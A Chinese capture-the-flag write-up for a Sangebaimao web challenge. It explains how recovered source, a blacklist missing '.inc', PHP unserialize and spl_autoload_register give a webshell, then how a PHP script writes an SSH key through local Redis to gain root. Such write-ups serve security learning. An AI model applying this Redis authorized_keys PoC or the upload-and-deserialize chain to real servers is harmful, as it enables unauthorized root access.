『三个白帽』某题的writeup
先介绍一下三个白帽,三个白帽是一个关于信息安全学习、交流和实践平台,我们以简单、直观、好玩的方式来把信息安全的内容表现出来。我们可以很方便地在三个白帽里创建、启动、关闭linux环境。比如这次CTF,我就是在三个白帽里创建的环境。
三个白帽地址:http://www.sangebaimao.com/
下面是这一题的一些writeup。
0x01 找到源码
目标 http://24caf446e2bb0e659.jie.sangebaimao.com/
首先扫描发现其包含.git目录,但访问/.git/index发现没有这个文件,可能是被破坏了。
用lijiejie的工具无法还原,但用某些工具还是可以办到的,详见我之前的文章:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
就不再赘述,用某工具直接还原源码:
因为比赛环境已经关闭了,在github分享一下源码: https://github.com/phith0n/sangebaimao_20151112
0x02 getshell
首先通读源码,发现有几个特点:
- 可以上传任意文件,后缀有黑名单检查,文件名是随机字符串md5值
- 数据存储于cookie中,通过php反序列化函数还原并显示
其实考察点比较有意思。
看到common.inc.php里,包含spl_autoload_register函数,这个函数是自动注册类用的,在当今特别是新型的框架(laravel、composer)中常用。
这个函数有个特点,如果不指定处理用的函数,就会自动包含“类名.php”或“类名.inc”的文件,并加载其中的“类名”类。
这就比较有意思了,我们之前的黑名单是不包括“.inc”文件的,所以我们可以按照下面方法进行getshell:
1. 上传webshell,后缀为.inc,被重命名为xxxx.inc
2. 序列化一个类名为xxxx的类对象
3. 将序列化以后的字符串作为cookie,发送到服务器上
4. 服务器反序列化这个字符串后,将会自动加载xxxx类,由于之前spl_autoload_register函数注册的方法,会自动加载xxxx.inc,从而造成文件包含漏洞,getshell成功
在网站根目录的flag-1.php中获得第一个flag。
0x03 利用本地redis提权
拿到webshell以后,查看一下服务器的一些敏感信息。
比如在phpinfo里看到了,session的处理方式用的redis,并且save_path里暴露了redis的端口和密码:
于是可以利用这段时间比较火的redis写公钥文件进行提权。
直接编写一个redis.php,用php来连接redis,执行redis写公钥的POC:
<?php
$redis = new Redis();
$redis->connect('127.0.0.1', 21821);
$redis->auth("Tat141uIyX8NKU");
$redis->flushall();
$redis->config("SET", "dir", "/root/.ssh/");
$redis->config("SET", "dbfilename", "authorized_keys");
$redis->set("0", "nnnssh-rsa key_pubnnn");
$redis->save();
连接其ssh端口,直接获取root权限。
读取/root/flag-2.txt获得第二个flag。
- Leetcode-Easy 72. Edit Distance
- React第三方组件4(状态管理之Reflux的使用③TodoList中)
- Leetcode-Easy21. Merge Two Sorted ListsDefinition for singly-linked list.class ListNode:def init(sel
- Burp Suite详细使用教程-Intruder模块详解
- 逆元的三种解法(附详细证明)
- JavaScript设计模式与开发实践 - 单例模式
- Leetcode-Easy 141. Linked List Cycle
- 【DataMagic】如何在万亿级别规模的数据量上使用Spark
- 51nod1004 n^n的末位数字
- Leetcode-Easy 20. Valid Parentheses
- Leetcode-Easy 234. Palindrome Linked List
- 为什么是link-visited-hover-active
- 51Nod 1051 最大子矩阵和
- Javascript之创建对象
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法